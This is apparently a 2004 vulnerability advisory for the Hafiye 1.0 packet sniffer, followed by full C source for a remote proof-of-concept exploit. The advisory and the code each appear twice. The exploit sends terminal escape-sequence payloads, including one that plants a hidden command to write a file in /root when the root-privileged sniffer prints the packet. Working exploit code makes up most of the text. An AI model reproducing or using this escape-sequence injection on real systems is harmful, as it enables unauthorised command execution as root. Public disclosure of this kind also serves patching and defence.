Serkan Akpolat
24/08/04, 03:45
+-------[ Software ]--------------+
Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."
+-------[ Tested Versions ]--------------+
Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
FreeBSD 4.7 (Installed from CD)
+-------[ Vulnerability ]--------------+
Packet Payload Terminal Escape Sequence Injection Vulnerability.
Results: DoS/Remote Root Comprimise
+-------[ Description ]--------------+
Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.
Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.
If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution the victim must press Enter after program exit.
+-------[ Contact ]--------------+
http://deicide.siyahsapka.org
deicide@siyahsapka.org
+-------[ Proof Of Concept Exploit ]--------------+
/* Remote Exploit for Hafiye-1.0
** Terminal Escape Sequence Injection Vulnerability
** Written by Serkan Akpolat
** Homepage: http://deicide.siyahsapka.org
** E-mail: deicide@siyahsapka.org
** Greets: Virulent, gorny and all other netricians
*/
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
typedef struct _target {
char *host;
u_short port;
unsigned int sequence;
unsigned int cnt;
} target;
char *esc_sequence[]= {"Escape Sequences",
"\x1b""]2;Insecure?""\x07\x0a",
"\x07\x07\x07\x07\x07\x07",
"\x1b""]2;;echo Owned > /root/Owned.txt"
"\x07\x1b""[21t""\x1b""]2;xterm""\x07"
"Abnormal Termination""\x1b"
"[8m;""\x0a"};
char use[] ="\t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]\n"
"\t Escape Sequences :\n"
"\t1-Change TitleBar Text to \"Insecure?\"\n"
"\t2-Ring The Bell\n"
"\t3-Hidden Prompt to Create Owned.txt in /root\n"
"\tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1\n";
void usage()
{
printf("%s",use);
exit(1);
}
int connect_to_host(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
herror("Error:");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
exit(1);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
exit(1);
printf("[+] Connected to %s\n", host);
return sock;
}
int main(int argc, char **argv)
{
int i;
int sock = 0;
char buf[256]="\0";
target target;
memset(&target,0,sizeof(target));
while ((i = getopt(argc, argv, "h:p:e:l:")) != -1) {
switch (i) {
case 'h':
target.host = optarg;
break;
case 'p':
target.port = (u_short)atoi(optarg);
break;
case 'e':
target.sequence = atoi(optarg);
if(target.sequence < 1 || target.sequence > 3) {
usage();
}
break;
case 'l':
target.cnt=atoi(optarg);
if(target.cnt<1) {
target.cnt=1;
}
break;
case ':':
case '?':
default:
usage();
exit(1);
}
}
if (optind != argc || !target.host || !target.port ||
!target.sequence || !target.cnt) {
usage();
}
sock = connect_to_host(target.host, target.port);
strncpy(buf,esc_sequence[target.sequence],sizeof(buf)-1);
printf("[+] Sending Escape Sequences\n");
do {
if (send(sock, buf, strlen(buf), 0) < 0) {
printf("Socket Error\n");
exit(1);
}
target.cnt--;
} while(target.cnt > 0);
close(sock);
return 0;
}
Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."
+-------[ Tested Versions ]--------------+
Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
FreeBSD 4.7 (Installed from CD)
+-------[ Vulnerability ]--------------+
Packet Payload Terminal Escape Sequence Injection Vulnerability.
Results: DoS/Remote Root Comprimise
+-------[ Description ]--------------+
Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.
Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.
If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution the victim must press Enter after program exit.
+-------[ Contact ]--------------+
http://deicide.siyahsapka.org
deicide@siyahsapka.org
+-------[ Proof Of Concept Exploit ]--------------+
/* Remote Exploit for Hafiye-1.0
** Terminal Escape Sequence Injection Vulnerability
** Written by Serkan Akpolat
** Homepage: http://deicide.siyahsapka.org
** E-mail: deicide@siyahsapka.org
** Greets: Virulent, gorny and all other netricians
*/
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
typedef struct _target {
char *host;
u_short port;
unsigned int sequence;
unsigned int cnt;
} target;
char *esc_sequence[]= {"Escape Sequences",
"\x1b""]2;Insecure?""\x07\x0a",
"\x07\x07\x07\x07\x07\x07",
"\x1b""]2;;echo Owned > /root/Owned.txt"
"\x07\x1b""[21t""\x1b""]2;xterm""\x07"
"Abnormal Termination""\x1b"
"[8m;""\x0a"};
char use[] ="\t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]\n"
"\t Escape Sequences :\n"
"\t1-Change TitleBar Text to \"Insecure?\"\n"
"\t2-Ring The Bell\n"
"\t3-Hidden Prompt to Create Owned.txt in /root\n"
"\tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1\n";
void usage()
{
printf("%s",use);
exit(1);
}
int connect_to_host(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
herror("Error:");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
exit(1);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
exit(1);
printf("[+] Connected to %s\n", host);
return sock;
}
int main(int argc, char **argv)
{
int i;
int sock = 0;
char buf[256]="\0";
target target;
memset(&target,0,sizeof(target));
while ((i = getopt(argc, argv, "h:p:e:l:")) != -1) {
switch (i) {
case 'h':
target.host = optarg;
break;
case 'p':
target.port = (u_short)atoi(optarg);
break;
case 'e':
target.sequence = atoi(optarg);
if(target.sequence < 1 || target.sequence > 3) {
usage();
}
break;
case 'l':
target.cnt=atoi(optarg);
if(target.cnt<1) {
target.cnt=1;
}
break;
case ':':
case '?':
default:
usage();
exit(1);
}
}
if (optind != argc || !target.host || !target.port ||
!target.sequence || !target.cnt) {
usage();
}
sock = connect_to_host(target.host, target.port);
strncpy(buf,esc_sequence[target.sequence],sizeof(buf)-1);
printf("[+] Sending Escape Sequences\n");
do {
if (send(sock, buf, strlen(buf), 0) < 0) {
printf("Socket Error\n");
exit(1);
}
target.cnt--;
} while(target.cnt > 0);
close(sock);
return 0;
}